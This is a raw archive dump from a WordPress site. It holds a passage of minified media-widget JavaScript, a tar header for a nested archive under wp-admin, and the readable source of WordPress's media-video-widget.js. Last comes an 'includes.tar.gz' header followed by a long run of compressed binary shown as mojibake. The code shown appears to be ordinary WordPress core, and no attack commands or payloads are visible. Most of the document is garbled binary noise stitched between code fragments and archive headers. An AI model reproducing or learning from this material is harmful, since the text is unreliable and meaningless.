m.MediaFrameSelect({title:n.l10n.add_media,frame:"post",text:n.l10n.add_to_widget,selection:d,mimeType:n.mime_type,selectedDisplaySettings:n.displaySettings,showDisplaySettings:n.showDisplaySettings,metadata:e,state:n.isSelected()&&0===n.model.get("attachment_id")?"embed":"insert",invalidEmbedTypeError:n.l10n.unsupported_file_type}),(wp.media.frame=i).on("insert",function(){var e={},t=i.state();"embed"===t.get("id")?_.extend(e,{id:0},t.props.toJSON()):_.extend(e,t.get("selection").first().toJSON()),n.selectedAttachment.set(e),n.model.set("error",!1),n.model.set(n.getModelPropsFromMediaFrame(i))}),t=wp.media.model.Attachment.prototype.sync,wp.media.model.Attachment.prototype.sync=function(e){return"delete"===e?t.apply(this,arguments):c.Deferred().rejectWith(this).promise()},i.on("close",function(){wp.media.model.Attachment.prototype.sync=t}),i.$el.addClass("media-widget"),i.open(),d&&d.on("destroy",function(e){n.model.get("attachment_id")===e.get("id")&&n.model.set({attachment_id:0,url:""})}),i.$el.find(".media-frame-menu .media-menu-item.active").focus()},getModelPropsFromMediaFrame:function(e){var t,i,n=this,d=e.state();if("insert"===d.get("id"))(t=d.get("selection").first().toJSON()).postUrl=t.link,n.showDisplaySettings&&_.extend(t,e.content.get(".attachments-browser").sidebar.get("display").model.toJSON()),t.sizes&&t.size&&t.sizes[t.size]&&(t.url=t.sizes[t.size].url);else{if("embed"!==d.get("id"))throw new Error("Unexpected state: "+d.get("id"));t=_.extend(d.props.toJSON(),{attachment_id:0},n.model.getEmbedResetProps())}return t.id&&(t.attachment_id=t.id),i=n.mapMediaToModelProps(t),_.each(wp.media.view.settings.embedExts,function(e){e in n.model.schema&&i.url!==i[e]&&(i[e]="")}),i},mapMediaToModelProps:function(e){var t,i=this,n={},d={};return _.each(i.model.schema,function(e,t){"title"!==t&&(n[e.media_prop||t]=t)}),_.each(e,function(e,t){t=n[t]||t;i.model.schema[t]&&(d[t]=e)}),"custom"===e.size&&(d.width=e.customWidth,d.height=e.customHeight),"post"===e.link?d.link_url=e.postUrl||e.linkUrl:"file"===e.link&&(d.link_url=e.url),!e.attachment_id&&e.id&&(d.attachment_id=e.id),e.url&&(t=e.url.replace(/#.*$/,"").replace(/\?.*$/,"").split(".").pop().toLowerCase())in i.model.schema&&(d[t]=e.url),_.omit(d,"title")},mapModelToMediaFrameProps:function(e){var n=this,d={};return _.each(e,function(e,t){var i=n.model.schema[t]||{};d[i.media_prop||t]=e}),d.attachment_id=d.id,"custom"===d.size&&(d.customWidth=n.model.get("width"),d.customHeight=n.model.get("height")),d},mapModelToPreviewTemplateProps:function(){var i=this,n={};return _.each(i.model.schema,function(e,t){e.hasOwnProperty("should_preview_update")&&!e.should_preview_update||(n[t]=i.model.get(t))}),n.error=i.model.get("error"),n},editMedia:function(){throw new Error("editMedia not implemented")}}),m.MediaWidgetModel=Backbone.Model.extend({idAttribute:"widget_id",schema:{title:{type:"string",default:""},attachment_id:{type:"integer",default:0},url:{type:"string",default:""}},defaults:function(){var i={};return _.each(this.schema,function(e,t){i[t]=e.default}),i},set:function(e,t,i){var n,d,o=this;return null===e?o:(e="object"==typeof e?(n=e,t):((n={})[e]=t,i),d={},_.each(n,function(e,t){var i;o.schema[t]?"array"===(i=o.schema[t].type)?(d[t]=e,_.isArray(d[t])||(d[t]=d[t].split(/,/)),o.schema[t].items&&"integer"===o.schema[t].items.type&&(d[t]=_.filter(_.map(d[t],function(e){return parseInt(e,10)},function(e){return"number"==typeof e})))):d[t]="integer"===i?parseInt(e,10):"boolean"===i?!(!e||"0"===e||"false"===e):e:d[t]=e}),Backbone.Model.prototype.set.call(this,d,e))},getEmbedResetProps:function(){return{id:0}}}),m.modelCollection=new(Backbone.Collection.extend({model:m.MediaWidgetModel})),m.widgetControls={},m.handleWidgetAdded=function(e,t){var i,n,d,o,a,s,r=t.find("> .widget-inside > .form, > .widget-inside > form"),l=r.find("> .id_base").val(),r=r.find("> .widget-id").val();m.widgetControls[r]||(d=m.controlConstructors[l])&&(l=m.modelConstructors[l]||m.MediaWidgetModel,i=c("<div></div>"),(n=t.find(".widget-content:first")).before(i),o={},n.find(".media-widget-instance-property").each(function(){var e=c(this);o[e.data("property")]=e.val()}),o.widget_id=r,r=new l(o),a=new d({el:i,syncContainer:n,model:r}),(s=function(){t.hasClass("open")?a.render():setTimeout(s,50)})(),m.modelCollection.add([r]),m.widgetControls[r.get("widget_id")]=a)},m.setupAccessibleMode=function(){var e,t,i,n,d,o=c(".editwidget > form");0!==o.length&&(i=o.find(".id_base").val(),t=m.controlConstructors[i])&&(e=o.find("> .widget-control-actions > .widget-id").val(),i=m.modelConstructors[i]||m.MediaWidgetModel,d=c("<div></div>"),(o=o.find("> .widget-inside")).before(d),n={},o.find(".media-widget-instance-property").each(function(){var e=c(this);n[e.data("property")]=e.val()}),n.widget_id=e,e=new t({el:d,syncContainer:o,model:new i(n)}),m.modelCollection.add([e.model]),(m.widgetControls[e.model.get("widget_id")]=e).render())},m.handleWidgetUpdated=function(e,t){var i={},t=t.find("> .widget-inside > .form, > .widget-inside > form"),n=t.find("> .widget-id").val(),n=m.widgetControls[n];n&&(t.find("> .widget-content").find(".media-widget-instance-property").each(function(){var e=c(this).data("property");i[e]=c(this).val()}),n.stopListening(n.model,"change",n.syncModelToInputs),n.model.set(i),n.listenTo(n.model,"change",n.syncModelToInputs))},m.init=function(){var e=c(document);e.on("widget-added",m.handleWidgetAdded),e.on("widget-synced widget-updated",m.handleWidgetUpdated),c(function(){"widgets"===window.pagenow&&(c(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=c(this);m.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),"complete"===document.readyState?m.setupAccessibleMode():c(window).on("load",function(){m.setupAccessibleMode()}))})},m}(jQuery);media-video-widget.js.tar000064400000021000150276633110011330 0ustar00home/natitnen/crestassured.com/wp-admin/js/widgets/media-video-widget.js000064400000015554150267143250022417 0ustar00/**
 * @output wp-admin/js/widgets/media-video-widget.js
 */

/* eslint consistent-this: [ "error", "control" ] */
(function( component ) {
	'use strict';

	var VideoWidgetModel, VideoWidgetControl, VideoDetailsMediaFrame;

	/**
	 * Custom video details frame that removes the replace-video state.
	 *
	 * @class    wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame
	 * @augments wp.media.view.MediaFrame.VideoDetails
	 *
	 * @private
	 */
	VideoDetailsMediaFrame = wp.media.view.MediaFrame.VideoDetails.extend(/** @lends wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame.prototype */{

		/**
		 * Create the default states.
		 *
		 * @return {void}
		 */
		createStates: function createStates() {
			this.states.add([
				new wp.media.controller.VideoDetails({
					media: this.media
				}),

				new wp.media.controller.MediaLibrary({
					type: 'video',
					id: 'add-video-source',
					title: wp.media.view.l10n.videoAddSourceTitle,
					toolbar: 'add-video-source',
					media: this.media,
					menu: false
				}),

				new wp.media.controller.MediaLibrary({
					type: 'text',
					id: 'add-track',
					title: wp.media.view.l10n.videoAddTrackTitle,
					toolbar: 'add-track',
					media: this.media,
					menu: 'video-details'
				})
			]);
		}
	});

	/**
	 * Video widget model.
	 *
	 * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.modelConstructors.media_video
	 * @augments wp.mediaWidgets.MediaWidgetModel
	 */
	VideoWidgetModel = component.MediaWidgetModel.extend({});

	/**
	 * Video widget control.
	 *
	 * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.controlConstructors.media_video
	 * @augments wp.mediaWidgets.MediaWidgetControl
	 */
	VideoWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_video.prototype */{

		/**
		 * Show display settings.
		 *
		 * @type {boolean}
		 */
		showDisplaySettings: false,

		/**
		 * Cache of oembed responses.
		 *
		 * @type {Object}
		 */
		oembedResponses: {},

		/**
		 * Map model props to media frame props.
		 *
		 * @param {Object} modelProps - Model props.
		 * @return {Object} Media frame props.
		 */
		mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
			var control = this, mediaFrameProps;
			mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps );
			mediaFrameProps.link = 'embed';
			return mediaFrameProps;
		},

		/**
		 * Fetches embed data for external videos.
		 *
		 * @return {void}
		 */
		fetchEmbed: function fetchEmbed() {
			var control = this, url;
			url = control.model.get( 'url' );

			// If we already have a local cache of the embed response, return.
			if ( control.oembedResponses[ url ] ) {
				return;
			}

			// If there is an in-flight embed request, abort it.
			if ( control.fetchEmbedDfd && 'pending' === control.fetchEmbedDfd.state() ) {
				control.fetchEmbedDfd.abort();
			}

			control.fetchEmbedDfd = wp.apiRequest({
				url: wp.media.view.settings.oEmbedProxyUrl,
				data: {
					url: control.model.get( 'url' ),
					maxwidth: control.model.get( 'width' ),
					maxheight: control.model.get( 'height' ),
					discover: false
				},
				type: 'GET',
				dataType: 'json',
				context: control
			});

			control.fetchEmbedDfd.done( function( response ) {
				control.oembedResponses[ url ] = response;
				control.renderPreview();
			});

			control.fetchEmbedDfd.fail( function() {
				control.oembedResponses[ url ] = null;
			});
		},

		/**
		 * Whether a url is a supported external host.
		 *
		 * @deprecated since 4.9.
		 *
		 * @return {boolean} Whether url is a supported video host.
		 */
		isHostedVideo: function isHostedVideo() {
			return true;
		},

		/**
		 * Render preview.
		 *
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl, poster, html = '', isOEmbed = false, mime, error, urlParser, matches;
			attachmentId = control.model.get( 'attachment_id' );
			attachmentUrl = control.model.get( 'url' );
			error = control.model.get( 'error' );

			if ( ! attachmentId && ! attachmentUrl ) {
				return;
			}

			// Verify the selected attachment mime is supported.
			mime = control.selectedAttachment.get( 'mime' );
			if ( mime && attachmentId ) {
				if ( ! _.contains( _.values( wp.media.view.settings.embedMimes ), mime ) ) {
					error = 'unsupported_file_type';
				}
			} else if ( ! attachmentId ) {
				urlParser = document.createElement( 'a' );
				urlParser.href = attachmentUrl;
				matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ );
				if ( matches ) {
					if ( ! _.contains( _.keys( wp.media.view.settings.embedMimes ), matches[1] ) ) {
						error = 'unsupported_file_type';
					}
				} else {
					isOEmbed = true;
				}
			}

			if ( isOEmbed ) {
				control.fetchEmbed();
				if ( control.oembedResponses[ attachmentUrl ] ) {
					poster = control.oembedResponses[ attachmentUrl ].thumbnail_url;
					html = control.oembedResponses[ attachmentUrl ].html.replace( /\swidth="\d+"/, ' width="100%"' ).replace( /\sheight="\d+"/, '' );
				}
			}

			previewContainer = control.$el.find( '.media-widget-preview' );
			previewTemplate = wp.template( 'wp-media-widget-video-preview' );

			previewContainer.html( previewTemplate({
				model: {
					attachment_id: attachmentId,
					html: html,
					src: attachmentUrl,
					poster: poster
				},
				is_oembed: isOEmbed,
				error: error
			}));
			wp.mediaelement.initialize();
		},

		/**
		 * Open the media image-edit frame to modify the selected item.
		 *
		 * @return {void}
		 */
		editMedia: function editMedia() {
			var control = this, mediaFrame, metadata, updateCallback;

			metadata = control.mapModelToMediaFrameProps( control.model.toJSON() );

			// Set up the media frame.
			mediaFrame = new VideoDetailsMediaFrame({
				frame: 'video',
				state: 'video-details',
				metadata: metadata
			});
			wp.media.frame = mediaFrame;
			mediaFrame.$el.addClass( 'media-widget' );

			updateCallback = function( mediaFrameProps ) {

				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
				control.selectedAttachment.set( mediaFrameProps );

				control.model.set( _.extend(
					_.omit( control.model.defaults(), 'title' ),
					control.mapMediaToModelProps( mediaFrameProps ),
					{ error: false }
				) );
			};

			mediaFrame.state( 'video-details' ).on( 'update', updateCallback );
			mediaFrame.state( 'replace-video' ).on( 'replace', updateCallback );
			mediaFrame.on( 'close', function() {
				mediaFrame.detach();
			});

			mediaFrame.open();
		}
	});

	// Exports.
	component.controlConstructors.media_video = VideoWidgetControl;
	component.modelConstructors.media_video = VideoWidgetModel;

})( wp.mediaWidgets );
includes.tar.gz000064400003260236150276633110007521 0ustar00��	 �_�8^ZD�J�E
a�]���^�-Y��Lf���)��&����dI*TT�BZ�RQ
���u�1J����;��������s�=�l�\*��R
Q��TY6��J��تl���2��h�y�>�����������������1x�������':��'��&2�.�}�~�L�IUWV�)�쀩ǹ�S�3s�5�-q"ػ\A� ���;�f��`�!D�`b ���$91���V��ŒD�Ё�L"� �o)t2N[MSM��.��o�`"��BYd��Qh!T2�Lg�HV�I�� B�Q�8"�VD���"��dv8��#���p�	?"��!rG�?���l2��⭆�� �
V�4�eA���O�7�Դ�aD&��d#���"!�~T�?N�N�b�6g�4�������>������WT��E�M�_i���H�b(�
�
����)��$�`�qr@����Oꇑ�W���ܑ������ m��ؔ���ȱ�(,U.8E��"x"�?蔄�� �qx�2T9oT�~��f��@�*PeV��ǁ���\7x�
T��a��T2lq@}�
ҷZ�S�u(���5��i��C**�� L�V��[��EB
e�Z�vYx�˟I&ӡ��b�}��e:��J�BM(�p��b�r��I�1�A&���A4��O�+³���e�����l�C���`1 X�J�� 7��$�0��-�@*ÏH�)d'r4�3?���Q��8��,���!$?`2堿.�#���,`Q�����oٟ=آ��FFCc!xB:�@T�V�;����S���ȴ6@CrKgwKW7o<X�M�
x��8<9Ÿ�a$`l,��)���o6<E�6��b�eI�j� h'L$G��ȼ��
�O�p�r!@�p�9��"����9/���V��Po#�CE�b����Y�!�P:��q)�R��L.�B%�8�~AS��l�D
���%^��%��2�t �+�85�1��h���Q�}X���I��"��|Jg�q~d���L�LR����ߧF�mA�����,�p
;��p��\���Lpk&�1($`G!�Y ��g����P2�B?L�(��QPQHf��,�GK��K�H,I���-y^�Ȃ�
�P��:���
��+KW�A��;����3�^m	�5��H�Bg+�8to��J�2���8�����U�VD�tMP�$|��r_)b�/(Saq����s`� `�I5�B�j�+�la���/��P��������r� :;���+����6���(+�Na�i��}5x室���Ԫ&[�wgYWK;Ks7���g��h��FJseP �����r�j�N8;�Ŗ8y�,��#%�,����T��( >24�<��������������lR�x�
�%��!(thA��.
��e���#�,�j�Y���Z�
��:H����Y�@I!1h7��L*UQi�P}p�4:j�B�� �c�7��	~�7,3���a��	'3!)ܲ9�s����扸0"��
@�H#�-T<���CCe�f�À���|m��	�1HC�����R���'o)���P�P�E0�_� ��	L!�݅S��G6��UR��,x�,~6#4`�nX�hy��̐�'��/�_4:�l�$��<�g�Y`�b	 P7b0�f��?,#�R���P&�Y��B�c2I
�`
Z�8��L�-�Ļ�BD�1ғ
w]CR9(�b�H<G7�UG�/GTR��ϛЖq R41R"�YQ�������1b�|��"A�}���;`	n�cZ���c�;���,j �ƎnQ%$�I��4#�C� H	`p��*"R5\���޸��
�8�0߁���Sٯ`��P�L`S�-���P�
F�5�f�H����F���
�
o�}[5l
	Ay��l�c
�*�q�)ak��VO(tx�;��ðC����z,7�J��yZ)�±
)Զ�X�j�tk2�Uz0�a�A��^�t�2�cX�1�1l�Gp����Q���g`
�w��-��+�����6��2�)�4U��(D���� B	���A�ČJ��[1�e!dM�YJF����EaS4c*�
.��Pp��:�3=D(�X�/��c��5�
�C-�A�1��
��
�K�E0yL�|t
Z5�
埔�[��cS��+bE*C-��� !�\Y�M��0�6H�$¿'�ȅ2�8��1b��qxN@F [!�#����82��D?2f<�8b\�y$VD�#�@�:f�0���>�N$���Y��7A�+!���`����OWX���]D. �J%�h01_H�GJj��Կ�Rh����𠂜V�s�+����@
�Uj�71 t\xG����AL-�=��0#���dtJ�z���#���Ⱦ�1tB�#<X|�f�ž�J
&�fm�֋��]6�	���˝c��
�p#�HH���R8PlQ��«r��A �S�oyj�l�"Rˁ�X�Q�&?�ț�u��5ƒ(�rvm��u�2 �ɇ�h��BC^�f��q����c��^m���6���4е��\T����}Cd�m
�\!�b�S؀�j��/�,`W
�2�8�0脀|��d2�(Ж��w��P����_E/��M����LjD	C7!"�H�����d���7�e�����FYD��5I�!�G�h\�j	`���]����8���>Q-S��@�d�;�gx��*�T("�e����`'�]�J�<�=�l��嚛�A�1l�g���( Gѥ3��r���� � +�h��a?.�
�­B�
ßQ�P�;��8��M�Zj$�cQ��p���G0X�wY��p y!6�Q3�� 3�g<@��x��:<��9�N5�w5�̼��
���g�5`S-�MaS��#��
���&�1�
Tw;7h�E�54�!�������0��ArcG���3���Lj�ũ#�)�^�� �����Qw
�q)`<Ĺ�O��X�/T��\���\�{Yx.�p��C~�O��X|�2�!�PnB��͚5�`���Y�=�&R^����
2|������k�ShWMCi0��o�v0����,�Xp�U�V��ή
��]��J��炻 P����br�p�Z���
��`��;,���j/��@��cb�XT�����E��6��Ѳp�^�P��\�xA���	�+���հ4�E���u�n
@�^P��yd����Rdf���&���`��Q8}
�\~�In
���]��sx����Hx�>Q�
�ٿ
�Cw��j@� �I��—�v��r�%�
�wq�ċ��{���NW�2\���Ke�P8�Q�9��@,d����O�/&uuX���5Aqy ���0�NPJ���)2P��@���Oa�@���.�{��	Z� ��0zs��B��@5g)��Y1(lNE�Q�SC�@N9_d�AR�� �!�d,uI?8X"��gj"���������#LMP1'��LAc�[Q�������;TK�LjGũ2�D��U����B�8�&/h-�<j�A+��q�_@Ahup�cA�b��F�
��tL��(�XL��]F��P�C$�N!!��P�`,�C8�����_&:S���W���Q��1�</�5�ፈ� &9�XV^S�
�t	�P��XF�D�L�1h�a@P�4�Vd��`��h
,X<.�����C�Z�PW�
V����ET��Gʀz0lC�w~ش@`3 �\󢨖�7
1���8�_����T���L��d��
b�0G_KS����E@y���4\�y�7"�L@(���`���������ca�{'�ƒ vEa��5��7�
K&�d"��JyK�i�$AR�B�@�G�
p?�QU�?�����-L�<Q2�(�������&��ZI�������of�+�wO0�U��9��L�9Z���8��-�fv!���&�o�����{ȧ{�x�'�|��-��;U�
�~�=
��4�U/a ���	.q"��
�3h\�9������:�A�:d��8׃��Gg��49^(�����y���"����v�@�a>-�Akh��4͏I��H+��.[�������+��1[�t�'�^�F3$�@��;ͿQ�C���yI�Ola��x�1
	��C#��Ȍ��Б�6TAV.�~a$�\��!u�oA�L�J*x���@(Nx�`�g� ���@�?��l�� ��)$�������2��6�C�h:lx�u�?��#���oCGH
R��C0I#�\ ���3�>/X�D���@�4��%o>#.rBk0�v� B_�Ń����_||8D~��7^	xL��ϋ�A�;�2,(�qJ`b@��`�!S�nG�&�ڄq͋���9L*�!
<z��t�Ŗ�A��q��2�&V��| ���+>l�[�7/[C��;���W�Flf4\/�D�O�R� �8n��լ�L� 5��-<�
��¡�4Q�퀔*z��F�}
�7���Wy���8��7�x�	�%���bS�T1]˟j�Ъ�EDbt�V\��;��O��h��|.�`���_�I|>"Ro<b�0Fϸr�������m�߉�����K���±`��2�4�
�%B�P@�]ӗ7�G�
�,��DxB���Y��Y�/=¨K
�A�C
��^4h���G��V��V��F�T�ry�vq�#��c�e�#A�|���r^L)���TA&�(����1+|�����eFF�k`�N�F������QZ���"s��Q��7�k$?:1���"0���Z3[�1�`�U�zx��ɱ���c��,6�a@�8�o3G�P[h��;�O@8�5�u{*8T��'�N:����> WD�# �0���vn�B��d&<It�LY8`�B�t8n��\օ�|��a)4��+B/t�����a��N��<Z'W�=0m�
�P1�F�ڢ��.yaFRCJ�@L8A�r	"hĤ !^�;p���yme~�q�z��j�?���tb��1��(d�]��<GC�&�Ix��`a C�}L"s_`K�#�t��cn@=_i�H{n�p�*��0��|� �
'0�/_��5�ٙIf�ڕ�b�7����@
�@^~"���k�m�B��<��C���
�h7�A¿@���m�3��&6��P�3�&M�H1�i�p�#�^:�*h_xl���HI8�^�ɉ゗'8_���.&p��m\�q���u�Ã<��sJEr��n9��	jy*�)fݹ|zT�_��������n*,P�#3�qHא�9,!�&9�(��0C�gԈ�S��'G�R���"����(�������SC]�s���0T�
�5�|BNN񠙓�E,��N�c��Ʋ~F0�K�.�A#쀉W��Jw�`̕�'J�hȘ�m�#�{���څ`W+Xr�K�7P;G���#2���~H�,����Àg�� I��P.�Q
����� *<�Xe�0��HK��������3Oh�C�4�������J�?���3�0Q����$Up�{T�I�0(
��b�†��B�TaeT�7�G�^�G�0�`��H
��x�j=Ĩ��Y2�$�|����9�(
dh|ᠢ��;yM
�� �S���BZ�*x�N�����2��VV0�r1�l"S-0��u�_
-����:`�_m������4�2��ÞѢ?�ӽ_�l���xZs~����T9�kd�㑉�_+;j{�^���[w�jXK٦q�b4����~��xJ-En��i�|�
�sj��k3h���[W-.��x�����+�*�.�ͫ�U�'uK�1��Zj�'�2fUQ���g_���{��K�Zir�R�پ��"v��Vťy�-��Z�i�.S�+��)��
�ȕ��ӆ�ϯ�P�v�����΋�p��l{�̮��:o�K�}O�Iy�x:c�bm���"�[t΍!V��J<٥�o���cg��,*R��7;H�JH{�Is-W���_�h�>sߣ�Pc��������޴�^��f�l��3�p�
�{f��:q6=d";?OO��S�0ǵI�m���u���B�=�E�wN��9~��'6�H���7��ƢmR
�j	��,�;'ݟ� ��]�m�����H�x2��p_�Q��E��g]�L60s>�����LɋSF��2fg
ߞ�_����?�`h�4�2q���!#d����
u��N�en26c�=;*F�[B�> ��xba���z�7Ք{�ű�3��Εi��l]c�Q����n~����2���Ov_F�$?7Y{>��*��}��eg��{�'�9��rP��Ji{�p��f�CU�پ*t����FYZ��{y��J�������>-���#1k�K�fO�k;�Ҹ;��[�E%�G��T�
����#��B�[�z7��<����xs��9��B"�{Z�_^,4��lN�A��1�]�|\����ܰk��u���+�*�����ۗ�ou�9}�V��Eɳ"����^��9�c��ȍ���Ϊ����+�;�uXg�}���Ǫ&��R�^l燤�s�>9zx�^�,1/f#��d�0��9���+�+�7T=|�yue����s�)��j��ARzq���j��
���O;?��z��
�ف}nQ�i��\%O�L��;1̬�꨼-G�n	���l��}o���������o~dy<��5
���rW|�ڛ�(!�n�/c���;�D����>�%L�i�ah0�Ѳ�GՓ��h����3=S>l���M�eE�������T���_�::�
]�yz����><���٫y��#�K�z�n�����z1���T�Dg��&�G=���A�|j�/����7�?"�.�HȎ�aB�d �����V��?0�&�$�H��2�j�<��@&3�dl������O�dr������@3ޡ5P�2
4�b,Z	
)��"<l%�	Nt���N��MԆ�Hk����€��'�h�/|���6���f���
T��ж����Q-���� �"�PTec�4́n�M��`J�UŶ��yi�^8��D���O)���X��97� ���yb�18��ǎEڰ(lU��‛�{ ��K�H����m�sg�yn�!HprЂ!�P�C�(d0����(/�U����IP�A�f�����h�፯�Dܠ��h�J0�{<1L�J��Π��qFXb�s�P�ܬ�P}��ɑr�HY��И5>��/���!6s���9FS��<��_EP�x�r� gT\�"����%v���KN١�����*�����\ΦZ��t�;I	gL�*�ׁV2�~R%��|�Lв�����
Y
5��PJ`{P�Q�x*��`�_!�$X+��uaeU ����
��f�
���a�3b*�
��I0�IY�7���ZNE`��m]CZ�`4
hqǙ-tu2s��=<D���衆{��?z�j��dʓ�CUrhA����E���`
`�ܹ�a�����p���L��1���c�m�*h�*�(��M,.�9Ad-`�hPv��E��
�1ބ']�1�oMb�
�4�����}`�Ҹِ)ad:G<�e���r�)Ck{ �瀀�kRP�8����� �c���ڊ�U8�3��A�"��
�Ձ�K-�L�3PlL�Ә�����)�a@��B)T$i�"��6&<���ꐛK �I*�G��E��BO��B�"��#Ɉ�0
�z�t��J``CG�*�1�
�D����
'[` 1�Y$�3�C�8m
�N[��8���I�1��aF�GN|�*(�P�L�Ϊ�PO` ��W	�W�ϡ0�@�I�*���x�W�@��P�8�?�$Ij8Wι/@|~d\8x�����Rz�A�	<@f�d�3�7z%0���.��CY	H�A�00�l�4��C�d�n#6ʬ��Y�&,����A5�9xh0�T��K�H5u��:z)��q �BU�[r(x����t`�����n�����t2���yp��s������g�Ce"��VSM	�;��"��M�:�
��r��5@W�wWK�3[k�Ɛ�n���]C�T��%8-

h��	p&&�~�<�DD���b?)�s됀F��|mr��`1��jH��C4;�`�Ƒ��3o<�kA�"��/��/d	xP	�Y �'+N�^ۅ�1t���Ѝh<�q�:�"��3LM�!�	8��$a�_^5�Kw:�a�o�tO�5�C�1=�N��q(g\�08Ȇ;��b�
l��J��?=mV�nK(΂�!��N�d
��@�kc	o��6h�_E�5���s��Icc�������>��@M��K�.�sF�7<�B��8��#E+K&�����L2�F�����L���4��EOe��k	��O"HO�0t�  ��TF ��+�#7h�Yh�(R���ww������1�-��2�M2�nE)�K�@I.�`�c(>�2X��
�cLu�6���	��$J�mr��b�cP���8�:���Z-�18 ��^�����{9�D��#��1.���p�.�z� ��X��  E����96��U���#�"@·�ա����H�P(�0��Ӵ"ꧤ�3�VT^�
�Z`�$ tG"ˑ�#��<�$!b'�m0�l�d
�s���G�$�d:�`x
�7E�q�Gi��N62$th���
�ʹ!����l�"�[C�"��瀣D
�/���yͯ96����`���6_��KF8��P�d���_�ر����$D��щ���M>�tc�Q�81���mlCg��9�R�K�#�V�<\0/��
A
XI�d�^�i�+�OH��;���DQ
��*�ʫU�Y�b�NaS�A��7`BL>�Ŕ�=d�
W�x�d�Y��
x�h^�LJ
N�S��z�<�$�R�(T
;f���|a����Xl(���e0�[�&2)DU(�(�d���9+5���c�~���prN�8��N���1w ��u(��������Mb�kPJ1; N�8��� Tx�`~]Lz���p"�pO�+�D��J�\&dO�id��rw
L~��J��	"��rN�r}���1�����-е�`T;���	�Ǜ�iĚ
���HhL>.�B߀�B�*�t&%0�
�+��l2�ꋀZ�
�d�,̿�
h�Q�$���8;(�j�
 ���&zD��Ǒ�Q���y��t;�-��q��R5c~y
#G��~�4^�<�#��"�e�CPN�
]�K��H��;$(���/�<Ja�|�
��Hl
��
���bw�(��A��l�%��a%	��|����P:��!N�!5������s��q��) ��tNE[M_MC����YH
	���p�ZZinnx�h�h�C�(`���b�R�y��*����Z��	e/��c��ա5����erC~�iQ4UJ��ۓ*�& d`>_Y>3d`gq�B��A�jp���A�r�� �H�R�܇�!�[��Qo4�6�G]��_Y��Bp|�uE�E%8�
���L��@cD�a
��@h��˛�	�	A�a
(�'�۽�PA�l8�!�&�k��<�^�H$�p�?����I��S ق� �%���]ah�5yH���1��Tp��5t��x����1�
*�l�|�
�\���q0REh��M)(Ko�BJ����UbeU��3��W�6S��5Ȕ�I���8Auq~�`����������"���/ǵ �!���M��A:0���&1M����$61�7T���$���AA
{"~Cj-��1��T����qHY0"��JYЃ��.��L��?�
g��+a����Yd����&�<
B�� �Y�L�?��&�0҃���	�4�yh�f�s,�625�G8EL"A}Ёo6�Ϙ��G�	o�(iC�EF��d@�@�\ �w0��GC�[�O}�+ʃx����rn��+�{�*�궐@	`B7��'�SF�N@X/cB(FW��D�7�����p�2�W��f�[Fd�QNu��S	�C�ѝ{=,<�>�h�Wp�@kP`kx>�6*BÂ���~�,D�}	�qxE��kI�]�ޅF&�YQ��Ȕ!/
C�"�݇(�xNbK����i�7-!�,�3��Hi��ߪ�yg�BT�RA����J2�
[ǥB�W���_�
[I�=q���.���F��!���8�!O�6Uk9G�!���5^P����H\՘�Ⱥ�<��G��.hu���m��0�1w�"P Z6��+�@�He˚����|���֤��*���0��?�Y�pF|�:,(�%�;��ة?/w�"��i��f:���͚q�ep�p�P�~8�_���s�������
i�\��ϣ�ͳ&L�<�C�!o vO�·�m#�� ����1B�t�?R[�� �|�b�,�e(G���<�#�P��w����5����xU�<'\� 48Hy�ц��!��*���)�Tĉ�����A��q��v_Y�����&�X
�ֆ���M�*8�t(Ԁ����&c��˭�U�*
��D��&Z>��'�����p9��~O�HA��Y�(�t4[b�B��՝�Pp�*��-�����N"3�t9�y����
�#�~yؓ����ЍA+�����.gh5��Sd`�h02�/.]�z0�A�'C�n�	��cj]�#+݄Jd{8�1я�/�[@���C랃F�يJ�A�IE%�lt �� �R!"Q�F~L�D�nD_
;�ki�pzn2��w�U�������a�)�
�`G*�v��Ǒ"�xf!`�"x�2m�!��\�fY�ML`�2����,N>q��1��1�02�'9���mZ��Nt@�6A�Z�Q5�9���Sù��X��P�[}���Ї��dG/`��C7�2>;�8��@��Q<ޓ^���M���f��M��q�`+�����`=��� �Y����+�xL�*8�Z�ny8Ą̖�7�	@��]�6x��*��(��U�1�Z
�V�8�n��`59��0�'�~"�3ak k}5x`�A�?�K�p�h|6��E~7��`m���
�ɦ
l���n-�HA�V�K��:׊6� ��ǡ�~�2�@F�sЖ1m8R�H��CR6����+*�-Y
����h�h9�+��[*؃g�8uu�?ˀH�{�A?�9���02:P��A�RH6{
j�,�;<�����M�{ͮ�:���&�p詇�|�qG=P���׋�4����/aO����*|�L$��
"�ِ���m֛�(�����S
6�����q��y�T�{.�?!8�*��;��P�H�s&�ψ%��/��
`�����#�@��w��(�=��w�wΏ˿�:�C�O�@�9
�]\�ĺΗ8���@fM�^N54�9�h1��`��`���=�9�����5�~�߀���lpIڻ�����8� �!s�8o@<B���P8nr�2�	��܉b�v�!�\v��p�<�o8�:^��W�oy��+��DA%���;��Qco�k�?�U�w�|C���2z���bTw�| n�aR�J�~C������Nr��
�f��.�;�7��O��Y��ˉ��������p���D0�,��^��P~�me����U�I�3�,�9���,������_t����jTA���{A�����0�	�����ڿ�����y���n��;6h�"��xyB.��{����K&`�[��!����}�?7�"�~����"�:�5䀆�$?�&Hԩ�I1�w�s�#� �QA]t���dM
<�z�@#g� N5�H4�c���"�h���b����4�.1(�P��1#�3Jh�$�!^�x��bW�9A�).����5��u�w��������
���y�!��C
